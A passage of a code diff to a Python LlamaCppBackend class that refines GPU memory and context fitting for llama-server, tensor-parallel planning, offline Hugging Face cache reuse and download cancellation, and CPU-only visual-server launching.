mtp_overhead_fn(ctx) if mtp_overhead_fn is not None else 0 + def _cc_at(ctx: int) -> int: + # Context-linear compute-buffer growth (flash-attn KQ mask + scratch); + # the flat term in model_footprint only covers ctx -> 0. + return compute_ctx_bytes_fn(ctx) if compute_ctx_bytes_fn is not None else 0 + # Already fits? kv = self._estimate_kv_cache_bytes(requested_ctx, cache_type_kv, **kv_kwargs) - if model_footprint + kv + _mtp_at(requested_ctx) <= budget_bytes: + if model_footprint + kv + _mtp_at(requested_ctx) + _cc_at(requested_ctx) <= budget_bytes: return requested_ctx # Weights + compute buffer alone exceed budget -- reducing ctx can't help. @@ -3008,7 +3695,7 @@ class LlamaCppBackend: while lo <= hi: mid = (lo + hi) // 2 kv = self._estimate_kv_cache_bytes(mid, cache_type_kv, **kv_kwargs) - if kv + _mtp_at(mid) <= remaining: + if kv + _mtp_at(mid) + _cc_at(mid) <= remaining: best = mid lo = mid + 1 else: @@ -3111,9 +3798,10 @@ class LlamaCppBackend: except (ValueError, OSError): # Log file closed under us; tee silently. pass - except (ValueError, OSError): - # Pipe closed -- process terminating. - pass + except Exception: + # Never let the drain thread die: a full stdout pipe can deadlock + # llama-server (Windows). Pipe-closed on exit is the common case. + logger.debug("llama-server stdout drain stopped", exc_info = True) # GGUF KV type sizes for fast skipping _GGUF_TYPE_SIZE = { @@ -3492,7 +4180,11 @@ class LlamaCppBackend: # Auto-size (0): the visual server probes the largest context that fits this GPU's VRAM # (capped at the training context). An explicit in-range n_ctx overrides it. maxtok = n_ctx if (n_ctx and 0 < n_ctx <= 65536) else 0 - gpu = os.environ.get("DG_GPU", "0") + # No visible CUDA GPU: a genuine CPU host, or a GPU host masked with + # CUDA_VISIBLE_DEVICES="" to force CPU serving. Keep the visual-server child + # CPU-masked (empty --gpu) so the shim does not re-expose GPU 0 via its default. + cpu_only = self._effective_gpu_count() == 0 + gpu = "" if cpu_only else os.environ.get("DG_GPU", "0") cmd = list(shim_cmd) + [ "--gguf", @@ -3512,6 +4204,12 @@ class LlamaCppBackend: # refuses to load unless UNSLOTH_IS_PRESENT is set (normally by `import # unsloth`). The shim never imports unsloth, so set it here as unsloth does. env["UNSLOTH_IS_PRESENT"] = "1" + # The shim's `import unsloth_zoo` aborts in get_device_type() ("needs a GPU") + # when no accelerator is visible, even though it only drives the CPU + # visual-server binary and does no torch GPU work. Allow the CPU device so the + # runner starts; the visual server still runs on the CPU llama.cpp build. + if cpu_only: + env.setdefault("UNSLOTH_ALLOW_CPU", "1") env["DG_VISUAL_BIN"] = visual_bin env["DG_GPU"] = gpu # The file-override shim imports its sibling visual_engine; put its dir on PYTHONPATH. @@ -3608,12 +4306,22 @@ class LlamaCppBackend: hf_repo: str, hf_variant: Optional[str] = None, hf_token: Optional[str] = None, + force: bool = False, + allow_smaller_fallback: bool = True, + cancel_event: Optional[threading.Event] = None, ) -> str: """Download GGUF file(s) from HuggingFace. Returns local path. Runs WITHOUT self._lock so unload_model() can set _cancel_event at any time; checks it between each shard download. + + ``force`` re-fetches even when a (possibly stale) blob is cached. + ``allow_smaller_fallback=False`` raises on low disk instead of silently + switching to a smaller quant. ``cancel_event`` overrides + ``self._cancel_event`` so an update can use a private event without + touching the shared one; defaults to the shared event. """ + cancel_event = cancel_event if cancel_event is not None else self._cancel_event try: import huggingface_hub # noqa: F401 -- presence check only except ImportError: @@ -3622,6 +4330,15 @@ class LlamaCppBackend: "Install it with: pip install huggingface_hub" ) + resolved_hf_repo = _resolve_repo_id_casing(hf_repo) + if resolved_hf_repo != hf_repo: + logger.info( + "Using cached repo_id casing '%s' for requested '%s'", + resolved_hf_repo, + hf_repo, + ) + hf_repo = resolved_hf_repo + # Resolve the filename from the variant gguf_filename = None gguf_extra_shards: list[str] = [] @@ -3667,10 +4384,12 @@ class LlamaCppBackend: # Check disk space; fall back to a smaller variant if needed all_gguf_files = [gguf_filename] + gguf_extra_shards + expected_sizes: dict[str, int] = {} try: from huggingface_hub import get_paths_info, try_to_load_from_cache path_infos = list(get_paths_info(hf_repo, all_gguf_files, token = hf_token)) + expected_sizes = {p.path: p.size for p in path_infos if p.size} total_bytes = sum((p.size or 0) for p in path_infos) # Subtract bytes already in the HF cache so we only preflight @@ -3679,21 +4398,50 @@ class LlamaCppBackend: # cold whenever free disk is below the full weight footprint, # even though nothing needs downloading. already_cached_bytes = 0 - for p in path_infos: - if not p.size: - continue - try: - cached_path = try_to_load_from_cache(hf_repo, p.path) - except Exception: - cached_path = None - if isinstance(cached_path, str) and os.path.exists(cached_path): + # Cross-snapshot / case-variant cache reuse is offline-only (see the download + # path below); online, hf_hub_download fetches the current revision and + # resumes partials, so an old snapshot must not be counted as cached here or + # the preflight would under-count the download and skip the disk fallback. + offline = _hf_env_offline() + # A split GGUF whose shards are not co-located in a single snapshot is + # refetched as a whole set later, so it must not be counted as cached here. + split_needs_refetch = False + if offline and not force and gguf_extra_shards: + # Scan all snapshots for one that holds the whole set co-located, so a + # newer snapshot with only the first shard does not mask an older + # complete one and needlessly trip the disk fallback. + if ( + _cached_colocated_split_main( + hf_repo, gguf_filename, gguf_extra_shards, expected_sizes + ) + is None + ): + split_needs_refetch = True + if not force and not split_needs_refetch: + for p in path_infos: + if not p.size: + continue try: - on_disk = os.path.getsize(cached_path) - except OSError: - on_disk = 0 - # Satisfied only when the full blob is present. - if on_disk >= p.size: - already_cached_bytes += p.size + cached_path = try_to_load_from_cache(hf_repo, p.path) + except Exception: + cached_path = None + if ( + not (isinstance(cached_path, str) and os.path.exists(cached_path)) + and offline + ): + cached_path = _cached_hf_snapshot_file( + hf_repo, + p.path, + expected_size = p.size, + ) + if isinstance(cached_path, str) and os.path.exists(cached_path): + try: + on_disk = os.path.getsize(cached_path) + except OSError: + on_disk = 0 + # Satisfied only when the full blob is present. + if on_disk >= p.size: + already_cached_bytes += p.size total_download_bytes = max(0, total_bytes - already_cached_bytes) @@ -3716,6 +4464,13 @@ class LlamaCppBackend: ) if total_download_bytes > free_bytes: + if not allow_smaller_fallback: + # Update path: never silently switch to a smaller quant; + # surface the disk shortfall for the requested variant. + raise RuntimeError( + f"Not enough disk space to download {gguf_filename}. " + f"Only {free_gb:.1f} GB free in {cache_dir}" + ) smaller = self._find_smallest_fitting_variant( hf_repo, free_bytes, @@ -3741,6 +4496,13 @@ class LlamaCppBackend: ) else: gguf_extra_shards = [] + # Record the fallback's size so the later cache-reuse probe can + # size-verify it; only for a single-file fallback, since + # _find_smallest_fitting_variant returns the whole-variant size + # and using that as the first shard's expected size would reject + # a valid cached first shard of a split fallback. + if not gguf_extra_shards: + expected_sizes[fallback_file] = fallback_size else: raise RuntimeError( f"Not enough disk space to download any variant. " @@ -3756,27 +4518,49 @@ class LlamaCppBackend: ) logger.info(f"Resolving GGUF: {gguf_label}") try: - if self._cancel_event.is_set(): + if cancel_event.is_set(): raise RuntimeError("Cancelled") dl_start = time.monotonic() # Xet primary, HTTP fallback on stall; per-file so finished shards stay cached. - local_path = hf_hub_download_with_xet_fallback( - hf_repo, - gguf_filename, - hf_token, - cancel_event = self._cancel_event, - on_status = lambda m: logger.info(m), - ) - for shard in gguf_extra_shards: - if self._cancel_event.is_set(): - raise RuntimeError("Cancelled") - logger.info(f"Resolving GGUF shard: {shard}") - hf_hub_download_with_xet_fallback( + local_path = None + # Reuse a cached copy from another snapshot / case-variant repo dir only when + # offline. Online, fall through to hf_hub_download so its revision/etag check + # fetches the current file (and resumes a partial) instead of serving a stale + # same-name blob from an older revision. + if not force and _hf_env_offline(): + if gguf_extra_shards: + # A split GGUF must load every shard from one snapshot; reuse only a + # snapshot that holds the whole set co-located, scanning past a newer + # snapshot that has just the first shard while an older one is complete. + local_path = _cached_colocated_split_main( + hf_repo, gguf_filename, gguf_extra_shards, expected_sizes + ) + else: + local_path = _cached_hf_snapshot_file( + hf_repo, + gguf_filename, + expected_size = expected_sizes.get(gguf_filename), + ) + if local_path is None: + local_path = hf_hub_download_with_xet_fallback( hf_repo, - shard, + gguf_filename, hf_token, - cancel_event = self._cancel_event, + cancel_event = cancel_event, + on_status = lambda m: logger.info(m), + force_download = force, ) + for shard in gguf_extra_shards: + if cancel_event.is_set(): + raise RuntimeError("Cancelled") + logger.info(f"Resolving GGUF shard: {shard}") + hf_hub_download_with_xet_fallback( + hf_repo, + shard, + hf_token, + cancel_event = cancel_event, + force_download = force, + ) except Exception as e: if isinstance(e, RuntimeError) and "Cancelled" in str(e): raise @@ -3798,6 +4582,7 @@ class LlamaCppBackend: hf_token: Optional[str], pick: Callable[[list[str]], Optional[str]], label: str, + cancel_event: Optional[threading.Event] = None, ) -> Optional[str]: """Resolve and fetch a companion GGUF (mmproj / MTP drafter) by name. @@ -3805,8 +4590,10 @@ class LlamaCppBackend: (offline, same fallback as _download_gguf), then hf_hub_download. Runs WITHOUT self._lock (like _download_gguf); honors _cancel_event so an /unload between the main download and here skips the fetch. + ``cancel_event`` overrides ``self._cancel_event`` (defaults to it). """ - if self._cancel_event.is_set(): + cancel_event = cancel_event if cancel_event is not None else self._cancel_event + if cancel_event.is_set(): return None target: Optional[str] = None @@ -3815,7 +4602,7 @@ class LlamaCppBackend: # Retry a transient listing blip; permanent repo/auth errors and offline # mode are not retried (offline raises at once -> fall through to cache). for attempt in range(3): - if self._cancel_event.is_set(): + if cancel_event.is_set(): return None try: target = pick(list_repo_files(hf_repo, token = hf_token)) @@ -3831,10 +4618,10 @@ class LlamaCppBackend: logger.debug(f"Could not list repo files for {label}: {e}") break logger.debug( - f"Could not list repo files for {label} " f"(attempt {attempt + 1}/3): {e}" + f"Could not list repo files for {label} (attempt {attempt + 1}/3): {e}" ) if attempt < 2: - self._cancel_event.wait(2**attempt) + cancel_event.wait(2**attempt) if target is None: try: @@ -3848,9 +4635,20 @@ class LlamaCppBackend: except Exception as e: logger.debug(f"Offline cache lookup for {label} failed: {e}") - if target is None or self._cancel_event.is_set(): + if target is None or cancel_event.is_set(): return None + # Offline, resolve the companion straight from the cache snapshot that + # holds it. resolve_cached_repo_id_case can return a partial lower-case + # spelling when any dir exists under the requested casing, so calling + # hf_hub_download with hf_repo would miss the canonical file and silently + # drop the companion. _cached_hf_snapshot_file scans every case variant. + if _hf_env_offline(): + cached = _cached_hf_snapshot_file(hf_repo, target) + if cached: + logger.info("Resolved %s from local HF cache: %s", label, cached) + return cached + try: logger.info(f"Downloading {label}: {hf_repo}/{target}") # Same policy; companions are best-effort (caller below swallows failures to None). @@ -3858,7 +4656,7 @@ class LlamaCppBackend: hf_repo, target, hf_token, - cancel_event = self._cancel_event, + cancel_event = cancel_event, ) except Exception as e: logger.warning(f"Could not download {label}: {e}") @@ -3869,11 +4667,13 @@ class LlamaCppBackend: *, hf_repo: str, hf_token: Optional[str] = None, + cancel_event: Optional[threading.Event] = None, ) -> Optional[str]: """Download the mmproj (vision projection) file from a GGUF repo. Prefers mmproj-F16.gguf, else any mmproj*.gguf. Returns the local - path, or None if none exists. + path, or None if none exists. ``cancel_event`` overrides + ``self._cancel_event`` (defaults to it). """ def _pick_mmproj(candidates: list[str]) -> Optional[str]: @@ -3894,8 +4694,32 @@ class LlamaCppBackend: hf_token = hf_token, pick = _pick_mmproj, label = "mmproj", + cancel_event = cancel_event, ) + def _cached_repo_mtp_drafter(self, hf_repo: str) -> Optional[str]: + """A drafter already in this repo's local HF cache, reused offline when a + fresh copy can't be fetched. Prefers a repo-root ``mtp-*.gguf`` across all + cached snapshots; else an existing ``MTP/`` copy (any precision -- the + target verifies every drafted token). None if none is cached.""" + try: + from utils.models.model_config import _iter_hf_cache_snapshots + + roots: list[Path] = [] + subdirs: list[Path] = [] + for snap in _iter_hf_cache_snapshots(hf_repo): # newest first + for f in sorted(_gguf_snapshot_files(snap)): + if _is_companion_gguf_path(f) and "mmproj" not in f.lower(): + (roots if "/" not in f else subdirs).append(snap / f) + # Keep snapshot order (newest first), root before any MTP/ copy, so a + # newer main GGUF pairs with the newest cached drafter, not a stale one. + for cand in roots + subdirs: + if cand.is_file(): + return str(cand) + except Exception as e: + logger.debug("Cached MTP drafter lookup failed for %s: %s", hf_repo, e) + return None + def _download_mtp( self, *, @@ -3912,11 +4736,25 @@ class LlamaCppBackend: are intentionally skipped. Returns the local path, or None. """ + # Offline, reuse any drafter already on disk (a fresh copy can't be + # fetched). Online, _download_companion_gguf/hf_hub_download reuse the + # current cached file and refetch a changed one, so skip the probe here + # rather than pair new weights with a stale draft. + if _hf_env_offline(): + cached = self._cached_repo_mtp_drafter(hf_repo) + if cached: + logger.info(f"Reusing cached MTP drafter (offline): {cached}") + return cached + def _pick_mtp(candidates: list[str]) -> Optional[str]: + # Root-level only: MTP/ subdir copies now share the mtp- prefix but + # are explicit-selection, not auto-fetch (they'd sort ahead of root). mtp_files = sorted( f for f in candidates - if f.lower().endswith(".gguf") and Path(f).name.lower().startswith("mtp-") + if f.lower().endswith(".gguf") + and "/" not in f + and Path(f).name.lower().startswith("mtp-") ) return mtp_files[0] if mtp_files else None @@ -4098,6 +4936,17 @@ class LlamaCppBackend: "expected; otherwise check the llama-server log for the cause." ) + # A live server that never answered 200 on /health is not a bad GGUF: + # the load is too large for VRAM/context, or a local proxy/VPN grabbed + # the loopback probe (#5740). + if "health check timed out" in lowered: + return ( + "llama-server started but never became healthy on its local " + "/health endpoint. Try a smaller context length or a more " + "quantized GGUF, and if you use a VPN or HTTP proxy make sure " + "localhost bypasses it (NO_PROXY=127.0.0.1,localhost)." + ) + # Fallback: genuinely unknown failure (OOM, missing binary ...). return ( "llama-server failed to start. " @@ -4117,6 +4966,7 @@ class LlamaCppBackend: max_target_ctx: Optional[int] = None, total_by_idx: Optional[dict[int, int]] = None, n_ubatch: Optional[int] = None, + soft_overhead_bytes: int = 0, ) -> tuple[int, int, list[int], Optional[list[int]]]: """Plan a ``--split-mode tensor`` load. Pure: no model or GPU needed. @@ -4128,9 +4978,11 @@ class LlamaCppBackend: ``(effective_ctx, max_available_ctx, gpu_indices, tensor_split)``. Policy (assumes >= 2 GPUs; the caller drops the toggle below that): - - Cap context to the KV that fits the pooled VRAM after the weights and - one per-device compute-graph buffer (``_estimate_compute_buffer_bytes``, - deterministic from dims; flat fallback when dims are unavailable). + - Cap context to the KV that fits the pooled VRAM after the weights, one + per-device flat compute-graph buffer (``_estimate_compute_buffer_bytes``, + deterministic from dims; flat fallback when dims are unavailable), and the + per-device context-linear compute growth (``_compute_buffer_ctx_bytes``, + replicated on every device in tensor mode, so summed over the split). llama.cpp's ``--fit`` is a no-op in tensor mode, so this is the only cap, honored even for an explicit ``-c``. It is more accurate than the 0.80 whole-pool heuristic, which over-reserves and leaves VRAM unused. @@ -4139,7 +4991,9 @@ class LlamaCppBackend: share fits the smallest GPU; otherwise it is weighted by usable budget so the roomier GPU absorbs more weight and the smallest keeps room for KV. ``total_by_idx`` enables the total-based occupancy cap; ``n_ubatch`` sizes - the compute buffer. + the compute buffer. ``soft_overhead_bytes`` is the CUDA-context / mmproj / + MTP-draft-graph reserve the layer path folds into ``model_size_fit``; + charged against the pooled budget so tensor mode reserves the same overhead. """ # Per-GPU usable budget: free - (1-frac)*total, else (unknown total, e.g. a @@ -4185,16 +5039,40 @@ class LlamaCppBackend: flat_mtp_bytes = max(0, mtp_flat_reserve_bytes) if mtp_engaged and mtp_overhead_fn is None: flat_mtp_bytes = max(flat_mtp_bytes, 2 * 1024**3) + # soft_overhead_bytes is the CUDA-context / mmproj / MTP-draft-graph reserve + # the layer path folds into model_size_fit. Tensor mode has no --fit valve, so + # an unreserved overshoot OOMs at startup rather than offloading; charge it here + # too. Once (pooled), mirroring the layer path -- the per-device CUDA context is + # a known slight under-charge, left for real multi-GPU data. kv_budget_b = ( - (pool_mib - len(gpu_indices) * reserve_mib) * 1024 * 1024 - model_size - flat_mtp_bytes + (pool_mib - len(gpu_indices) * reserve_mib) * 1024 * 1024 + - model_size + - flat_mtp_bytes + - max(0, soft_overhead_bytes) ) def _mtp_at(ctx: int) -> int: return mtp_overhead_fn(ctx) if mtp_overhead_fn is not None else 0 + # Context-linear compute buffer, summed over the split. Tensor mode + # replicates the compute graph on EVERY device (measured: the per-device + # buffer grows a flat n_ubatch*2 bytes/token, ~1024 B/tok on Qwen3.5-9B at + # f16, independent of n_embd), so the growth is n_dev x the per-device + # term. cache_type_kv here is always non-quantized (tensor forces f16), so + # _compute_buffer_ctx_bytes returns the light KQ-mask term, not the heavy + # quantized dequant scratch. The flat reserve_mib above only covers ctx->0; + # without this the fit over-pins and OOMs at high context on a tight pool + # (0.5-4 GiB unreserved at 262k-1M across 2-4 GPUs), the tensor-mode analog + # of the layer-split compute bug. + n_dev = len(gpu_indices) + + def _cc_ctx(ctx: int) -> int: + return n_dev * self._compute_buffer_ctx_bytes(ctx, n_ubatch, cache_type_kv) + def _fit_ctx(ctx: int) -> int: - # Largest context whose KV (+ MTP draft reserve) fits the pooled - # budget. Floors small, but never raises an explicit ctx above asked. + # Largest context whose KV (+ MTP draft reserve + context-linear + # compute) fits the pooled budget. Floors small, but never raises an + # explicit ctx above asked. if self._can_estimate_kv() and ctx > 0: ctx_floor = min(2048, ctx) if kv_budget_b <= 0: @@ -4202,11 +5080,13 @@ class LlamaCppBackend: # falls back to layer split. return ctx_floor if mtp_overhead_fn is not None: - # kv(ctx)+mtp(ctx) is not single-linear, so binary search. + # kv(ctx)+mtp(ctx)+compute(ctx) is not single-linear, so binary search. def _consumer(c: int) -> int: - return self._estimate_kv_cache_bytes( - c, cache_type_kv, n_parallel = n_parallel - ) + _mtp_at(c) + return ( + self._estimate_kv_cache_bytes(c, cache_type_kv, n_parallel = n_parallel) + + _mtp_at(c) + + _cc_ctx(c) + ) if _consumer(ctx) <= kv_budget_b: return ctx @@ -4220,9 +5100,10 @@ class LlamaCppBackend: hi = mid - 1 return best kv_at = self._estimate_kv_cache_bytes(ctx, cache_type_kv, n_parallel = n_parallel) - if kv_at <= kv_budget_b: + total_at = kv_at + _cc_ctx(ctx) # both ~linear through the origin + if total_at <= kv_budget_b: return ctx - return max(ctx_floor, int(ctx * kv_budget_b / kv_at)) + return max(ctx_floor, int(ctx * kv_budget_b / total_at)) # KV size unknown -> can't prove a safe cap; floor. return min(4096, ctx) if ctx > 0 else 4096 @@ -4242,10 +5123,23 @@ class LlamaCppBackend: # The MTP reserve also has to fit the even split (mirror the pooled budget): # byte-accurate per-ctx (0 when no fn) plus the same flat cushion as above. mtp_bytes = (_mtp_at(effective_ctx) if effective_ctx > 0 else 0) + flat_mtp_bytes - even_share_mib = (model_size + kv_bytes + mtp_bytes) / len(gpu_indices) / (1024 * 1024) + # Context-linear compute is replicated per device; charge the whole split so + # the weighted ratio reflects it (mirrors kv_budget_b's per-device reserve). + cc_bytes = _cc_ctx(effective_ctx) if effective_ctx > 0 else 0 + even_share_mib = ( + (model_size + kv_bytes + mtp_bytes + cc_bytes) / len(gpu_indices) / (1024 * 1024) + ) tensor_split: Optional[list[int]] = None if even_share_mib > (min_usable_mib - reserve_mib): - adj = [max(0, int(usable_by_idx[i] - reserve_mib)) for i in gpu_indices] + # Each device also holds its replicated share of the context-linear + # compute (cc_bytes/n_dev) on top of the flat reserve. The even-share + # gate above charges cc_bytes; the split weights must subtract it too, or + # the smaller card is weighted above its real usable budget and OOMs (the + # per-device analog of the layer path's per-GPU overhead in _select_gpus). + cc_per_dev_mib = (cc_bytes // len(gpu_indices)) // (1024 * 1024) if cc_bytes else 0 + adj = [ + max(0, int(usable_by_idx[i] - reserve_mib - cc_per_dev_mib)) for i in gpu_indices + ] if sum(adj) > 0: tensor_split = adj return effective_ctx, max_available_ctx, gpu_indices, tensor_split @@ -4295,6 +5189,17 @@ class LlamaCppBackend: ) ) + @staticmethod + def _is_tensor_split_assert(output: str) -> bool: + """True only for the #6415 split-axis warmup assert (GGML_BACKEND_SPLIT_AXIS_*), + not any ggml assert/abort, so an unrelated invariant isn't cached. stderr is + merged into output.""" + text = (output or "").lower() + if "ggml_assert" not in text and "ggml_abort" not in text: + return False + # the split-axis enum token, unique to this assert (not the source file). + return "split_axis" in text + @staticmethod def _is_signal_crash(returncode: Optional[int]) -> bool: """True only on a hard fault (SIGSEGV/SIGABRT/SIGILL/SIGFPE/SIGBUS or a @@ -4307,6 +5212,20 @@ class LlamaCppBackend: return True return -returncode in (4, 6, 7, 8, 11) # SIGILL SIGABRT SIGBUS SIGFPE SIGSEGV + @staticmethod + def _is_abort_exit(returncode: Optional[int]) -> bool: + """Windows CRT abort() exit code (3) from GGML_ASSERT on MSVC -- not a POSIX + signal or 0xC0000000+ NTSTATUS.""" + return returncode == 3 + + @classmethod + def _should_record_tensor_split_abort(cls, returncode: Optional[int], output: str) -> bool: + """The #6415 split-axis abort: the marker plus a hard crash (POSIX signal or + Windows abort exit). Marker required so a generic crash isn't cached.""" + return cls._is_tensor_split_assert(output) and ( + cls._is_signal_crash(returncode) or cls._is_abort_exit(returncode) + ) + @staticmethod def _with_flash_attn_off(cmd: list[str]) -> Optional[list[str]]: """Return cmd with flash attention forced off, or None when its effective @@ -4451,6 +5370,8 @@ class LlamaCppBackend: n_gpu_layers: Optional[int] = None, # caller compat, unused n_parallel: int = 1, extra_args: Optional[List[str]] = None, + # Route-level tensor->layer fallback retry: keep the layer split multi-GPU. + preserve_multi_gpu_on_layer: bool = False, ) -> bool: """Start llama-server with a GGUF model. @@ -4481,6 +5402,8 @@ class LlamaCppBackend: "n_gpu_layers": n_gpu_layers, "n_parallel": n_parallel, "extra_args": list(extra_args) if extra_args is not None else None, + # Replayed by _respawn_if_dead so a downgraded model stays multi-GPU. + "preserve_multi_gpu_on_layer": preserve_multi_gpu_on_layer, } # Serialise the whole load so concurrent /load calls never leave two # llama-server processes alive (#5401 / #5161). Doesn't block /unload. @@ -4504,6 +5427,7 @@ class LlamaCppBackend: chat_template_override = chat_template_override, extra_args = extra_args, is_vision = is_vision, + preserve_multi_gpu_on_layer = preserve_multi_gpu_on_layer, ): logger.info( f"load_model: backend already in target state for " @@ -4532,6 +5456,7 @@ class LlamaCppBackend: # Resolve llama-server now but defer a not-found error: a block-diffusion # GGUF uses the diffusion runner, and its arch is only known after the header. binary = self._find_llama_server_binary() + is_vulkan_backend = self._is_vulkan_backend(binary) # ── Phase 2: download (NO lock held, so cancel can proceed) ── # mtp_draft_path arrives set for local Gemma loads (detected @@ -4540,6 +5465,19 @@ class LlamaCppBackend: # dead; cleanup runs even on exception so a transient hiccup # can't quarantine future loads. if hf_repo: + # Resolve the requested repo id to its cached canonical casing once, + # up front, so the main GGUF and its companions (mmproj / MTP drafter) + # all resolve from the same cache entry. Otherwise a case-variant + # request resolves the main file from the canonical cache dir while the + # companions keep the requested casing and miss the cached files. + _resolved_repo = _resolve_repo_id_casing(hf_repo) + if _resolved_repo != hf_repo: + logger.info( + "Using cached repo_id casing '%s' for requested '%s'", + _resolved_repo, + hf_repo, + ) + hf_repo = _resolved_repo with _hf_offline_if_dns_dead(): model_path = self._download_gguf( hf_repo = hf_repo, @@ -4589,6 +5527,9 @@ class LlamaCppBackend: # Block-diffusion GGUFs (DiffusionGemma) cannot run on llama-server; # serve them with the diffusion runner (same OpenAI-compat interface). if self._is_diffusion: + # Not a tensor/layer GGUF: clear any preserved-fallback flag from a + # prior load (this path skips the command builder that clears it). + self._layer_preserves_tensor_intent = False with self._lock: if self._cancel_event.is_set(): logger.info("Load cancelled before diffusion server start") @@ -4743,6 +5684,9 @@ class LlamaCppBackend: "image input will be disabled for this session" ) model_size = None # set in the fit try; used by the APU RAM guard + # Layer-fallback min GPUs; raised below on a tensor downgrade. Bound + # before the try so the --fit-on except path still has it (no UnboundLocal). + _layer_min_gpus = 1 try: gguf_size = self._get_gguf_size_bytes(model_path) # Include GPU-loaded mmproj in the fit budget (#5825). @@ -4752,7 +5696,8 @@ class LlamaCppBackend: model_size = gguf_size + mmproj_size # 2-tuple gpus for existing logic + a total map for the absolute # per-GPU headroom (correct when the GPU is already partly used). - _gpu_mem = self._get_gpu_memory() + # Pass binary so a Vulkan build probes ggml's Vulkan ordinals. + _gpu_mem = self._get_gpu_memory(binary) gpus = [(idx, free) for idx, free, _t in _gpu_mem] total_by_idx = {idx: total for idx, _f, total in _gpu_mem} @@ -4972,6 +5917,20 @@ class LlamaCppBackend: # compute buffer); None -> the 512 default in the estimate. _effective_ubatch = _extra_args_n_ubatch(extra_args) + def _cc_bytes(ctx: int, n_gpus: int = 1) -> int: + # Context-linear compute-buffer growth (flash-attn KQ mask + + # attention scratch); the flat _compute_buffer_pipeline folded + # into model_size_fit only covers ctx -> 0. Charged per + # candidate context so the fit can't over-pin and spill. The + # rate depends on the KV cache type (quantized adds a dequant + # scratch), so pass it through. In a layer split this buffer is + # replicated on EVERY device (measured ~equal per GPU), so scale + # by the device count; a large model at high context otherwise + # under-reserves ~(n-1)x it (e.g. Qwen3.5-397B on 3 GPUs). + return max(1, n_gpus) * self._compute_buffer_ctx_bytes( + ctx, _effective_ubatch, cache_type_kv + ) + # Layer-split compute buffer (one lump; tensor mode reserves it # per device in _plan_tensor_parallel). Context-independent, so # fold it into the model footprint for the branches below. Falls @@ -4986,7 +5945,6 @@ class LlamaCppBackend: _compute_buffer_pipeline = ( self._TENSOR_PARALLEL_BUFFER_RESERVE_MIB * 1024 * 1024 ) - model_size_fit = model_size + _compute_buffer_pipeline # Layer split adds a fixed per-device overhead on every GPU. The # folded buffer covers one device; reserve the extra devices' @@ -4994,9 +5952,6 @@ class LlamaCppBackend: # (k=1 adds nothing). _pipeline_overhead_bytes = self._PIPELINE_PER_DEVICE_OVERHEAD_MIB * 1024 * 1024 - def _subset_model_size(n_gpus: int) -> int: - return model_size_fit + max(0, n_gpus - 1) * _pipeline_overhead_bytes - # Auto-cap context to fit VRAM and select GPUs. Explicit n_ctx: # honor it, cap only if it fits no combination. Auto (native): # prefer fewer GPUs with reduced context (multi-GPU is slower). @@ -5024,11 +5979,26 @@ class LlamaCppBackend: ) _pin_fraction = self._GPU_PIN_VRAM_FRACTION - _flat_mtp_reserve + # Charge the soft overhead _CTX_FIT_VRAM_FRACTION under-covers on tight + # tiers, gated so plain dense loads (#5106) only pay the CUDA-ctx base. + # CUDA/cuBLAS context is discrete-GPU only (not Metal); the mmproj and + # MTP draft-graph buffers exist on every backend. + _soft_overhead = self._CUDA_CONTEXT_RESERVE_BYTES if gpus else 0 + if effective_is_vision and mmproj_size > 0: + _soft_overhead += int(mmproj_size * (self._MMPROJ_VRAM_SAFETY - 1.0)) + if _mtp_reserves_gpu: + _soft_overhead += self._MTP_DRAFT_COMPUTE_BYTES + model_size_fit = model_size + _compute_buffer_pipeline + _soft_overhead + + def _subset_model_size(n_gpus: int) -> int: + return model_size_fit + max(0, n_gpus - 1) * _pipeline_overhead_bytes + + # Unified-memory budget (0 off Apple Silicon) for the no-GPU Metal cap below. + _apple_budget_mib = self._apple_metal_memory_budget_bytes() // (1024 * 1024) + def _restore_after_tensor_downgrade(): - # Tensor mode dropped a quantized KV and stripped the cache - # extras (it rejects quantized); layer split supports them, so - # restore the original type + extras (minus --split-mode) and - # clear the env flag so the layer launch re-emits them. + # Restore the quantized KV + extras tensor dropped (layer + # split supports them), minus --split-mode. nonlocal cache_type_kv, _cache_type_from_env, extra_args if _tensor_dropped_cache_type_kv is not None: cache_type_kv = _tensor_dropped_cache_type_kv @@ -5039,13 +6009,22 @@ class LlamaCppBackend: else extra_args ) - if tensor_parallel and effective_is_vision: + # The route fallback retry is tensor-off; keep it multi-GPU. + if preserve_multi_gpu_on_layer: + _layer_min_gpus = max(_layer_min_gpus, len(gpus)) + + if tensor_parallel and self._tensor_split_aborts(binary, model_identifier): + # Aborted on tensor for this model this session (#6415); skip + # tensor upfront, layer split serves it. logger.info( - "Tensor parallelism skipped for vision model: " - "--split-mode tensor is incompatible with --mmproj " - "in the current llama.cpp build; using layer split." + "Tensor parallelism skipped: this llama.cpp build aborted " + "on --split-mode tensor for this model earlier this " + "session; using layer split across %d GPU(s).", + len(gpus), ) tensor_parallel = False + # Keep the multi-GPU request (gated on it, not the cache). + _layer_min_gpus = max(_layer_min_gpus, len(gpus)) _restore_after_tensor_downgrade() # Tensor mode replicates a compute buffer on every GPU, so drop @@ -5085,6 +6064,11 @@ class LlamaCppBackend: len(gpus), ) tensor_parallel = False + # GPUs below tensor's compute-buffer reserve can still do layer + # split, so keep multi-GPU (mirrors the budget/geometry drops); + # _select_gpus caps unusable cards. + if len(gpus) >= 2: + _layer_min_gpus = max(_layer_min_gpus, len(gpus)) # Layer split supports a quantized KV the tensor attempt # dropped; restore the original cache type + extras (minus # --split-mode) so the layer launch re-emits them. @@ -5113,7 +6097,9 @@ class LlamaCppBackend: _tp_flat_mtp, _mtp_bytes(min(2048, effective_ctx) if effective_ctx > 0 else 2048), ) - _tp_required_mib = (model_size + _tp_mtp_floor) / (1024 * 1024) + _tp_required_mib = (model_size + _tp_mtp_floor + _soft_overhead) / ( + 1024 * 1024 + ) if _tp_weight_budget_mib <= _tp_required_mib: logger.info( "Tensor parallelism requested but the pooled VRAM " @@ -5121,8 +6107,12 @@ class LlamaCppBackend: "per-device compute buffers; falling back to layer split." ) tensor_parallel = False - # Restore the dropped quantized KV + original cache extras - # (minus --split-mode); layer split supports them. + # Weights needed >1 card, so keep multi-GPU across the + # usable tensor GPUs. + if len(tp_gpus) >= 2: + _layer_min_gpus = max(_layer_min_gpus, len(tp_gpus)) + # Restore the dropped quantized KV + cache extras (minus + # --split-mode); layer split supports them. _restore_after_tensor_downgrade() if tensor_parallel and tp_gpus: @@ -5158,6 +6148,7 @@ class LlamaCppBackend: max_target_ctx = self._context_length or target_ctx, total_by_idx = total_by_idx, n_ubatch = _effective_ubatch, + soft_overhead_bytes = _soft_overhead, ) use_fit = False elif gpus and 